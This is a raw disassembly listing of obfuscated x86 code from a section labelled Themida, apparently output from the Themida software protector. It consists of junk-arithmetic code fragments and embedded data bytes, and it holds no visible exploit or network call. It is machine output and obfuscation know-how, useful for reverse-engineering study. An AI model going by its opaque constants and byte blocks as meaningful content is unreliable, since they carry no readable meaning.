loc_51BC8C:				; CODE XREF: Themida_:00513A1Aj
		pop	esi
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		push	ecx
		mov	ecx, 5C2B7BAAh
		jmp	loc_5120BB
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D9h
		dd 0F7336509h, 0AAB951D5h, 1949630h, 0BF5759CDh, 0DD87E3Eh
		dd 0D7F7DFF7h, 4979E781h, 0F7811A3Eh, 5B82E03h,	15FFE01h
		dd 3AEE81EEh, 5D0DA066h, 719668h, 24348900h, 42474FFh
		dd 5E2434FFh, 8F04C483h, 248B2404h, 4016624h, 0D9E99C24h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BD17:				; CODE XREF: Themida_:0051EA89j
		not	esi
		xchg	esi, [esp]
		pop	ebx
		inc	ebx
		add	ebx, 7C345141h
		not	ebx
		xor	ebx, 923C048Ah
		jmp	loc_519C1A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 24B6E924h, 0E9ACFFFFh, 1B1Ch, 14F65166h, 0E9596624h
		dd 17A5h, 7F42C381h, 0C38110C1h, 286067AEh, 6454685Fh
		dd 14890000h, 0B8505524h, 1CA8087Dh, 0B404AE2Dh, 3AD60561h
		dd 9E96FE0h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_51BD77:				; CODE XREF: Themida_:0051A7E0j
		inc	eax
		xor	eax, 4883AD4Dh
		sub	ebp, eax
		pop	eax
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4A6206ABh
		push	edx
		push	6B4360D7h
		pop	edx
		or	ebx, edx
		pop	edx
		shl	ebx, 1
		push	esi
		jmp	loc_523431
; ---------------------------------------------------------------------------


loc_51BD9D:				; CODE XREF: Themida_:00518357j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_51C50C
; ---------------------------------------------------------------------------
		dd 305BD928h, 75B359CAh, 8007F380h, 0D30012C3h,	5A2434FFh
		dd 4C481h, 6E2C0000h, 0E99DB753h, 0FFFF8589h
; ---------------------------------------------------------------------------


loc_51BDCC:				; CODE XREF: Themida_:0051B600j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_516566
; ---------------------------------------------------------------------------
		db 68h
		dd 356D3112h, 56E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_51BDE9:				; CODE XREF: Themida_:005199F5j
		shr	esi, 4
		jmp	loc_5239DA
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF93A5E9h, 0C5885AFFh, 361EE958h, 3C88FFFFh, 241C8B87h
		dd 2FE06853h, 24890000h, 24048324h, 26E95B04h, 0B8FFFF68h
		dd 0D71E08F9h, 2DC7EF81h, 0C9E972D7h, 8BFFFFEDh, 3E9243Ch
		dd 66FFFFD7h, 5024048Bh, 1068E089h, 8900005Ah, 27E92434h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BE47:				; CODE XREF: Themida_:0051DAE0j
		mov	ecx, 1
		jmp	loc_518144
; ---------------------------------------------------------------------------
		db 88h,	0DAh, 0E9h
		dd 0FFFFC413h, 1536E981h, 535F155Dh, 0BBh, 0D0EB8100h
		dd 137267Fh, 0E95351CBh, 0FFFFD233h, 0BE56E189h, 2DE22174h
		dd 0FF7C76E9h, 0FE92B1FFh, 4E9C0C9h, 0F6CC8850h, 0E78853D4h
		dd 55CCE9h, 402BB800h, 0D8F70EA5h, 0B8922305h, 58C70173h
		dd 0EF81C701h, 651351F8h, 0E92434FFh, 0FFFF91DAh, 658EBA52h
		dd 0EA810EC7h, 0AF406403h, 0EAC1DAF7h, 6BF28104h, 8109EB04h
		dd 85E2E0F2h, 5AD38940h, 2D70E381h, 0EB810E82h,	200295Ch
		dd 210CE9h, 16E98100h, 29D4BE08h, 0AEFBE9CDh, 0E5C1FFFFh
		dd 81DDF706h, 705472EDh, 8DED8138h, 0E91483E0h,	0FFFF543Fh
		dd 0C476E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51BF0E:				; CODE XREF: Themida_:00523092j
		sub	bl, al
		jmp	loc_512CB2
; ---------------------------------------------------------------------------
		db 2Dh,	33h, 41h
		dd 87594EB1h, 0FF5C2404h, 348B2434h, 4C48124h, 51000000h
		dd 0C181E189h, 4, 8704C183h, 685C240Ch,	61F3h, 0E9242C89h
		dd 0FFFFF376h, 8050F580h, 31E908EDh, 5DFFFFECh,	0E9241C33h
		dd 64F4h, 0DEE9E789h, 8300001Ah, 186804C4h, 0E9000046h
		dd 0FFFF25A4h, 52242C8Bh, 0C281E289h, 4, 69E0BE56h, 0E9514AB9h
		dd 0FFFF90E7h
; ---------------------------------------------------------------------------


loc_51BF88:				; CODE XREF: Themida_:005196CCj
		mov	[esp], eax
		mov	eax, 644E710Ch
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5121BF
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0E4E92434h, 0BEFFFFF7h, 42767D69h, 5153CE81h
		dd 0EE815A42h, 3B6377A5h, 0FFCDABE9h, 0FECDFEFFh, 0B35366C5h
		dd 0E9DD007Eh, 0FFFFB339h
; ---------------------------------------------------------------------------


loc_51BFD8:				; CODE XREF: Themida_:0050FDA8j
		shr	ebp, 6
		jmp	loc_51782C
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF2207E9h, 52EFD1FFh, 377DC1BAh,	5AD73171h
		dd 0A08BD55h, 0C5810F44h, 0F91F3127h, 515DEF09h, 351B86B9h
		dd 59CF097Fh, 2414F757h, 81243C8Bh, 4C4h, 44BB5300h, 0E98000C4h
		dd 0FFFF8924h, 4BBh, 0E9DA0100h, 0FFFF56E0h, 52240C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0F8295C24h, 51243C8Bh
		dd 240C8B54h, 6D94E9h, 4C48300h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FF4EB9E9h, 1B60B8FFh, 3535136Bh,	0E92D5F4Eh
		dd 0FFFFA083h, 1092CD81h, 0E94D0567h, 0FFFF36C6h, 3E13E981h
		dd 0C1812CAEh, 5E2A2B82h, 7579E9h, 2434FF00h, 81240C8Bh
		dd 4C4h, 1124E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51C0AA:				; CODE XREF: Themida_:0051E65Bj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_51609B
; ---------------------------------------------------------------------------


loc_51C0B8:				; CODE XREF: Themida_:00514FB8j
		push	esp
		pop	eax
		push	ecx
		push	6A19h
		mov	[esp], eax
		jmp	loc_5102D0
; ---------------------------------------------------------------------------
		dd 2EED8058h, 0ED80CDFEh, 72ED80C4h, 0E8008904h, 0E0E9892Ch
		dd 0D1FFFF96h, 0DD0F7E8h, 7D1D2CC2h, 35A74D05h,	0E9C58924h
		dd 0FFFFF309h, 0EF45C6BAh, 0C2EA8109h, 5309EF45h, 127850BBh
		dd 0E9DE0132h, 156Dh
; ---------------------------------------------------------------------------


loc_51C10C:				; CODE XREF: Themida_:0051C4D7j
		add	esp, 4
		add	bl, cl
		add	bl, 0C0h
		jmp	loc_523090
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 5F16E9h, 0E9E90100h,	5CEFh, 38EDBE66h, 0DBE94E66h, 5AFFFF38h
		dd 8704C483h, 248B2434h, 66E9F624h, 68CCB60Fh, 3369h, 81243489h
		dd 4ECh, 0B80EE900h, 8CB4FFFFh,	5306E4C0h, 3BF1E9h, 0E9596600h
		dd 9EFh, 78B2C281h, 3C8B2938h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 31241433h, 14332414h, 24248B24h, 0E9240C89h
		dd 0FFFF2058h, 0BA650B9h, 59CA01C0h, 0E95AD789h, 45D2h
		dd 8106EBC1h, 331EA2F3h, 5BDE29FEh, 1713CE81h, 6FE94793h
		dd 58FFFF63h, 6FB5BE56h, 0E6C150DDh, 6EEC107h, 79EE8146h
		dd 29ACA69Ch, 45C9E9F7h, 0C1410000h, 0E95202E1h, 0FFFF752Ch
		dd 0BB241C89h, 19DA6CF2h, 4EC81h, 4890000h, 93106824h
		dd 8158E625h, 0DD10AFEBh, 6F95E929h, 4050000h, 83000000h
		dd 0F6E904C0h, 8100002Bh, 17D89EDh, 0C581450Ch,	0B13D4B4h
		dd 0BA2C681h, 65E93403h, 81FFFFB7h, 3C3051F5h, 0E0E4E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C236:				; CODE XREF: Themida_:00514E6Dj
		mov	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		shl	ebp, 6
		push	edi
		mov	edi, 2B660932h
		add	edi, 196217DDh
		and	ebp, edi
		jmp	loc_5207CC
; ---------------------------------------------------------------------------


loc_51C252:				; CODE XREF: Themida_:00520F95j
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_5149CD
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0D4h
		dd 21251B07h, 240C8BCAh, 4C481h, 0C2810000h, 2EA41205h
		dd 3E9F68h, 240C8900h, 0FFE5F3E9h, 24248BFFh, 68C8B70Fh
		dd 1516h, 0E9240C89h, 0FFFFB28Ah, 5AB9C581h, 5CE94B7Ah
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C29F:				; CODE XREF: Themida_:00514D85j
		mov	cl, bh
		pop	ebx
		add	cl, 0Bh
		sub	cl, 0FFh
		xor	cl, 0FEh
		mov	bh, cl
		pop	ecx
		jmp	loc_511DB1
; ---------------------------------------------------------------------------


loc_51C2B3:				; CODE XREF: Themida_:0050E50Fj
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_521602
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFA8B0E9h, 81E948FFh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C2D3:				; CODE XREF: Themida_:00513CF4j
		push	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_51B906
; ---------------------------------------------------------------------------


loc_51C2DF:				; CODE XREF: Themida_:0050F07Dj
		push	esi
		mov	esi, 3E76DFB0h
		mov	ebp, esi
		pop	esi
		jmp	loc_522758
; ---------------------------------------------------------------------------


loc_51C2ED:				; CODE XREF: Themida_:0051CBEAj
		mov	dh, al
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_522CBD
; ---------------------------------------------------------------------------


loc_51C300:				; CODE XREF: Themida_:0051C9DCj
		add	edi, 0FCA146Dh
		and	edi, 3C8E5620h
		xor	edi, 28061204h
		sub	ecx, 51EC45C3h
		add	ecx, edi
		add	ecx, 51EC45C3h
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5236CF
; ---------------------------------------------------------------------------
		dd 640F2FBBh, 0E9D8015Eh, 72E0h, 7E9BB951h, 0CD216532h
		dd 7A42E959h, 0E951FFFFh, 1F24h, 83242C8Bh, 4F2104C4h
		dd 0DF5CE91Ch, 31ADFFFFh, 417568D8h, 0D3E90000h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C367:				; CODE XREF: Themida_:0051356Fj
		dec	edx
		push	ebp
		push	edx
		pop	ebp
		pop	edx
		push	0
		sub	[esp], ebp
		jmp	loc_51D5BB
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 42D0000h, 87000000h,	0E95C2404h, 6A92h
; ---------------------------------------------------------------------------


loc_51C38C:				; CODE XREF: Themida_:005234B4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_51F193
; ---------------------------------------------------------------------------
		dw 7BDh
		dd 563EF93Dh, 993BA52h,	0D6890906h, 90C5815Ah, 29149616h
		dd 90ED81F5h, 5E149616h, 0F7DDF745h, 6BE56DDh, 811F9D48h
		dd 564163F6h, 4AEE817Bh, 0E917AF91h, 0FFFFE218h
; ---------------------------------------------------------------------------


loc_51C3D8:				; CODE XREF: Themida_:00519E8Dj
		push	edx
		jmp	loc_515F19
; ---------------------------------------------------------------------------
		dw 5A58h
		dd 4C181h, 65E90000h, 5600005Fh, 0FF3A71E9h, 243C87FFh
		dd 0B24248Bh, 96840FC9h, 81FFFF85h, 4ECh, 48F5400h, 2A446824h
		dd 49E90000h, 30FFFF51h, 0EE8858E5h, 68992C59h,	6FCDh
		dd 5CD6E9h, 5FFB3100h, 4141EA81h, 0DA295F4Bh, 4141C281h
		dd 0E95B5F4Bh, 2A3Ch, 8375242Dh, 58C2010Ah, 8B241487h
		dd 0F9F72424h, 51FCE957h, 96BFFFFFh, 89062D52h,	54BF5FF8h
		dd 0E95A99D5h, 4BDFh, 0FF5BDA01h, 69C4E932h, 0E7890000h
		dd 4C781h, 0B9510000h, 31B64021h, 15DEE9h, 241C8900h, 241C8B54h
		dd 72DBE9h, 35C38100h, 81467342h, 442CDAEBh, 0E9FB014Ah
		dd 7025h
; ---------------------------------------------------------------------------


loc_51C4A0:				; CODE XREF: Themida_:005204EEj
		sub	bl, al
		push	ecx
		jmp	loc_51D0A0
; ---------------------------------------------------------------------------
		dd 0FF04C483h, 515B2434h, 240C8B54h, 4C481h, 0C1810000h
		dd 4, 8CECE955h, 158FFFFh, 92E958C6h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C4CF:				; CODE XREF: Themida_:005225F3j
		mov	esp, [esp]
		sub	bl, dh
		mov	edx, [esp]
		jmp	loc_51C10C
; ---------------------------------------------------------------------------
		dd 38E068h, 242C8900h, 4EC81h, 3C890000h, 7D3F6824h, 3C8B017Bh
		dd 4C48124h, 0C1000000h, 0E95706EFh, 0FFFFC8BCh, 0E95BD829h
		dd 5A8h
; ---------------------------------------------------------------------------


loc_51C50C:				; CODE XREF: Themida_:0051BDA3j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		jmp	loc_5160AE
; ---------------------------------------------------------------------------
		dd 42474FFh, 0FFEDBFE9h, 240409FFh, 1CC2E99Ch, 505FFFFFh
		dd 0E60884B8h, 58C3015Ch, 202EE9h, 24148900h, 0C281E289h
		dd 4, 4C281h, 14870000h, 0C6815C24h, 4,	4EC8155h, 89000000h
		dd 10682414h, 5A791272h, 0FFE92BE9h, 1AE780FFh,	8E9CFFEh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C577:				; CODE XREF: Themida_:0050FF02j
		push	dword ptr [esp+4]
		jmp	loc_51BBE6
; ---------------------------------------------------------------------------
aMYk@5mu@riS_	db '-m}yK@5@_!',0
		align 2
		dw 895Ch
		dd 0B151241Ch, 0B7EDE93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C59E:				; CODE XREF: Themida_:00522C71j
		inc	edx
		shr	edx, 5
		inc	edx
		add	edx, 23A187E3h
		jmp	loc_515C08
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 0EC8104C4h, 4, 0E9240C89h, 0FFFFC371h
; ---------------------------------------------------------------------------


loc_51C5C0:				; CODE XREF: Themida_:00511E5Fj
		mov	eax, 7079120Fh
		push	edx
		mov	edx, 658F030Dh
		sub	edx, 0FB36A827h
		or	eax, edx
		pop	edx
		add	eax, 50B1619Fh
		jmp	loc_521DEA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 0C3CFE904h, 8956FFFFh, 9168E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C5F2:				; CODE XREF: Themida_:0051EF42j
		dec	eax
		push	0
		sub	[esp], eax
		pop	eax
		xor	eax, 8372D50Ch
		sub	edi, eax
		pop	eax
		jmp	loc_5110CF
; ---------------------------------------------------------------------------


loc_51C609:				; CODE XREF: Themida_:00517243j
		push	2F67h
		mov	[esp], ebp
		mov	ebp, 1732038h
		jmp	loc_514E48
; ---------------------------------------------------------------------------
		db 1
		dd 323F68FAh, 1C890000h, 1549BB24h, 0EBD130A8h,	3B4CE381h
		dd 0EB816FC4h, 6B11501Bh, 0FF99C0E9h, 8EAC1FFh,	1E4ECA81h
		dd 0EA8111CCh, 11CD9F6Bh, 55AAEE81h, 0D60137BDh, 55AAC681h
		dd 49E937BDh, 5CFFFF80h, 240C8966h, 2474FF66h, 66596602h
		dd 0E924048Fh, 0FFFFC5AAh, 0AE67E7BBh, 45CB8143h, 812AD947h
		dd 7429FCC3h, 5053E965h, 1BF0000h, 290FDA24h, 34FF5FFBh
		dd 24048B24h, 8104C483h, 4C4h, 241C3300h, 0E9241C31h, 0FFFFD2AAh
		dd 24048B66h, 29EA68h, 241C8900h, 0FF1B87E9h, 5FFE29FFh
		dd 34FFF201h, 24348B24h, 0FF706AE9h, 6C0159FFh,	34FF0424h
		dd 89535D24h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0FF985CE9h
		dd 5FFA01FFh, 0E95AD701h, 0FFFFAE73h, 0C5814545h, 0E02F64CCh
		dd 15E9EF29h, 0E9FFFF97h, 0FFFF1AE4h, 0C788535Ah, 0FF78D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C715:				; CODE XREF: Themida_:0051D446j
		pop	esp
		add	eax, 2
		push	61AFh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_510513
; ---------------------------------------------------------------------------
		dd 1D8FB951h, 3E94B34h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51C73B:				; CODE XREF: Themida_:0051015Fj
		dec	ch
		not	ch
		push	small 0
		jmp	loc_519C79
; ---------------------------------------------------------------------------


loc_51C748:				; CODE XREF: Themida_:00512001j
		or	esi, 16B75B0Ah
		push	eax
		mov	eax, 312959D0h
		jmp	loc_5187C8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aZ4Sm		db '4$m',0Dh,0
		align 4


loc_51C764:				; CODE XREF: Themida_:00511557j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2614AFEh
		xchg	ebx, ebp
		jmp	loc_510276
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8B2434FFh, 0C4812414h, 4, 460C68h, 24048900h, 0FFBCA0E9h
		dd 7310BBFFh, 0E381782Eh, 3C8B5420h, 2AE9DBF7h,	0BA000003h
		dd 2C13060Fh, 5607E2C1h, 0C1C8F7BEh, 8BF229C0h,	0C4812434h
		dd 4, 0E95AD531h, 0FFFFEC77h
; ---------------------------------------------------------------------------


loc_51C7CC:				; CODE XREF: Themida_:005101B0j
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 56h
		dd 8106D02Ah, 0F42BD0C3h, 4AC38115h, 140BC45h, 4AEB81FBh
		dd 0E940BC45h, 0FFFF9BF5h, 8105EEC1h, 0FD7727F6h, 0E14E979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51C7FE:				; CODE XREF: Themida_:00515D00j
		mov	edi, 35AD4B50h
		and	edi, 5D712180h
		shr	edi, 7
		xor	edi, 67574E0Bh
		jmp	loc_51EA09
; ---------------------------------------------------------------------------


loc_51C817:				; CODE XREF: Themida_:005145EFj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_51EDCB
; ---------------------------------------------------------------------------


loc_51C825:				; CODE XREF: Themida_:0050FF67j
		add	ecx, 1
		sub	ecx, 6A37699h
		add	ecx, 35F16B60h
		or	ebp, ecx
		pop	ecx
		sub	ebp, 21F94B9Ch
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C47FE870h
		jmp	loc_51ED55
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 665A04C4h, 244CFE50h, 88586601h, 0E95158E3h
		dd 5ADCh, 2BE9C229h, 8BFFFF88h,	0EC812404h, 4, 0FFC0FEE9h
		dd 196EE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C882:				; CODE XREF: Themida_:00517DC1j
		not	ebx
		jmp	loc_50F079
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 1
		dd 81000000h, 614827EBh, 8BF33161h, 0C4812434h,	4, 4245C01h
		dd 0E92434FFh, 43FFh, 1149BF57h, 0FB29526Ch, 3C76E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51C8BA:				; CODE XREF: Themida_:00517238j
		sub	eax, 0EF94A6Eh
		pop	esi
		sub	eax, 4
		jmp	loc_50E49D
; ---------------------------------------------------------------------------
		dd 4C781h, 66E90000h, 29000018h, 6DEA81DAh, 5B4A1C56h
		dd 52240C8Bh, 1A5EE9h, 3BFF6800h, 3C890000h, 171FE924h
		dd 0F9010000h, 0FFDF44E9h, 8BD501FFh, 74E92414h, 80FFFF8Ch
		dd 0C4FE47ECh, 26E9DCF6h, 89000011h, 4C181E1h, 0E9000000h
		dd 4A56h, 0C681E689h, 4, 8704EE83h, 895C2434h, 0C5BE2434h
		dd 0E926734Fh, 0F3Eh, 0D4E95CB4h, 0E9FFFFFAh, 0FFFF18ACh
		dd 55A768h, 24148900h, 42474FFh, 0E92434FFh, 3D0Fh
; ---------------------------------------------------------------------------


loc_51C958:				; CODE XREF: Themida_:00515C35j
		sub	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_51EE66
; ---------------------------------------------------------------------------
		db 28h
		dd 1963E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51C982:				; CODE XREF: Themida_:0052271Dj
		mov	edi, 3B1F3A23h
		xor	edx, edi
		jmp	loc_517B70
; ---------------------------------------------------------------------------
		dw 968h
		dd 8900002Fh, 0E389241Ch, 50E95552h, 66000045h,	68240C8Bh
		dd 215Bh, 0E9243C89h, 705Fh
; ---------------------------------------------------------------------------


loc_51C9B0:				; CODE XREF: Themida_:0051AB95j
		sub	ebp, ebx
		add	ebp, 2B144D48h
		pop	ebx
		sub	ebp, 18B0F9h
		sub	ecx, 43257D50h
		add	ecx, ebp
		add	ecx, 43257D50h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 589C06EFh
		jmp	loc_51C300
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 2414895Ch, 0FF6C10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51C9ED:				; CODE XREF: Themida_:00514E50j
		pop	ecx
		dec	ebp
		inc	ebp
		push	eax
		mov	eax, 3B320FEAh
		add	ebp, eax
		jmp	loc_51E37A
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 57h
		dd 2240F2BFh, 8EFC12Ah,	0E907E7C1h, 0FFFFBE95h
; ---------------------------------------------------------------------------


loc_51CA10:				; CODE XREF: Themida_:0051F96Bj
		mov	edi, 525F4E61h
		xor	edi, ebp
		pop	ebp
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	6CA9h
		mov	[esp], ecx
		mov	ecx, 1F605AC2h
		sub	ecx, 19996C12h
		sub	ecx, 3ECB5FE1h
		dec	ecx
		add	ecx, 802F8099h
		jmp	loc_513F6A
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	815FFB01h, 1E042444h, 29260204h
		dd 8104245Ch, 1E04246Ch, 8B260204h, 0E957241Ch,	0FFFF3984h
; ---------------------------------------------------------------------------


loc_51CA74:				; CODE XREF: Themida_:0051516Fj
		sub	edx, 249E7FD0h
		jmp	loc_51281D
; ---------------------------------------------------------------------------
		db 81h
		dd 0AE3E13C1h, 3070E92Ch, 2C89FFFFh, 37D8E924h,	0E95EFFFFh
		dd 0FFFFC3E2h, 5C243433h, 240C8B66h, 0E904EC83h, 0FFFFB6F6h
		dd 0E15F7EB8h, 0E9C28927h, 0FFFF3797h, 0EA355D2Dh, 2734E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CABE:				; CODE XREF: Themida_:0051466Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_51D628
; ---------------------------------------------------------------------------


loc_51CAC7:				; CODE XREF: Themida_:0050F4C5j
		sub	edi, 4F4850C8h
		add	edi, edx
		push	ebp
		jmp	loc_513E46
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
		dd 0F73EC9E3h, 0B8504B2Bh, 7F686833h, 213AE9h
		db 0
; ---------------------------------------------------------------------------


loc_51CAE9:				; CODE XREF: Themida_:00515902j
		add	esp, 4
		push	7014h
		jmp	loc_5168BA
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 8E5C105h, 42F5814Dh,	893FB478h, 6227E9E9h, 34870000h
		dd 0F3F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CB12:				; CODE XREF: Themida_:00523AEAj
		add	ebp, 15BF233Bh
		mov	eax, [esp]
		add	esp, 4
		add	[eax], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4


loc_51CB2D:				; CODE XREF: Themida_:00511D3Ej
		push	ebx
		jmp	loc_513D63
; ---------------------------------------------------------------------------
		db 0B0h
		dd 8BC5880Fh, 0F9E92404h, 83FFFF8Dh, 8DE904C4h,	8BFFFF7Dh
		dd 0BF0F2424h, 21BC68C8h, 0A8E90000h, 86000067h, 2EE950E6h
		dd 0FFFFFFBCh, 0E9582434h, 0FFFF49DBh, 0E9D0305Bh, 6A05h
		dd 1E6CB6BAh, 0A5BA520Ah, 11FE673h, 0ED815AD5h,	4AD459CCh
		dd 0D4E9D501h, 89000032h, 240C8BCFh, 0FFF3CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CB95:				; CODE XREF: Themida_:005159E5j
		and	ecx, 75B150C3h
		and	ecx, 5BE91205h
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		or	ecx, 150F3CFFh
		add	ecx, 0AAF0C305h
		jmp	loc_513F55
; ---------------------------------------------------------------------------
		db 83h
		dd 952D04C4h, 2D606D39h, 649D3FB9h, 89242405h, 58C201CFh
		dd 0FF161FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51CBD1:				; CODE XREF: Themida_:0052327Dj
		pop	edx
		not	bh
		sub	bh, 0FFh
		shr	bh, 5
		sub	bh, 59h
		push	bx
		mov	bl, 94h
		sub	al, bl
		pop	bx
		add	al, bh
		add	al, 94h
		pop	ebx
		jmp	loc_51C2ED
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5104E9h, 0E9042474h, 0FFFFEB4Ch, 277FC781h, 1C8B19D0h
		dd 4C48124h, 0E9000000h, 0FFFF947Bh, 2D59C801h,	54DA0420h
		dd 0FF87DEE9h, 59EE88FFh, 5A66F528h, 8359E800h,	49E904ECh
		dd 8100001Eh, 0C207CFE2h, 0AECA817Ah, 814DFA1Ch, 817F96F2h
		dd 8BD60168h, 0C4812414h, 4, 0F75EF389h, 42EB81DBh, 31652582h
		dd 241C8BD9h, 4C481h, 0EBE90000h, 89FFFF21h, 0ED68241Ch
		dd 8B049B64h, 0C483241Ch, 0DE895604h, 8B5EF189h, 0C481241Ch
		dd 4, 4246C81h,	3B3F57EBh, 4244C29h, 4244481h, 3B3F57EBh
		dd 3377E959h, 71680000h, 89000054h, 3BB241Ch, 5673EA2Bh
		dd 9F92E953h, 0BE56FFFFh, 4, 535EF501h,	4BBh, 8BDD2900h
		dd 6E9241Ch, 0BEFFFFACh, 7E1D1A5Ch, 2A67B850h, 0C6093541h
		dd 7B0E958h, 0BE560000h, 4, 4246C81h, 0CD421BEh, 4247401h
		dd 4A3CE9h, 52C30100h, 954B19BAh, 8F91E959h, 0DEF6FFFFh
		dd 0E95CF680h, 4176h
; ---------------------------------------------------------------------------


loc_51CD0C:				; CODE XREF: Themida_:00518338j
		sub	[esp], ebp
		pop	ebp
		dec	ebp
		xor	ebp, 84B1F3A9h
		push	ebp
		sub	esp, 4
		jmp	loc_523132
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 50000000h,	4B8h, 58C72900h, 5C243C87h, 24048F54h
		dd 50C668h, 124DE900h, 0D7280000h, 0FFE16CE9h, 4C181FFh
		dd 0E9000000h, 0FFFF86D1h
; ---------------------------------------------------------------------------


loc_51CD58:				; CODE XREF: Themida_:0051E5EEj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_51DF7D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0A1168h, 24148900h, 0B9515A54h, 1FC4385Fh, 5B5BC981h
		dd 0E9D14189h, 0BDABF181h, 0EA812FE6h, 20A83030h, 0FBE9CA01h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CDA7:				; CODE XREF: Themida_:00516459j
		push	eax
		mov	eax, esp
		jmp	loc_51661F
; ---------------------------------------------------------------------------


loc_51CDAF:				; CODE XREF: Themida_:005142B5j
		mov	esi, [esp]
		jmp	loc_51A418
; ---------------------------------------------------------------------------


loc_51CDB7:				; CODE XREF: Themida_:00511515j
		sub	al, 4Eh
		sub	al, 0BEh
		jmp	loc_515774
; ---------------------------------------------------------------------------


loc_51CDC0:				; CODE XREF: Themida_:00517832j
		add	eax, ebp
		pop	ebp
		jmp	loc_514C9E
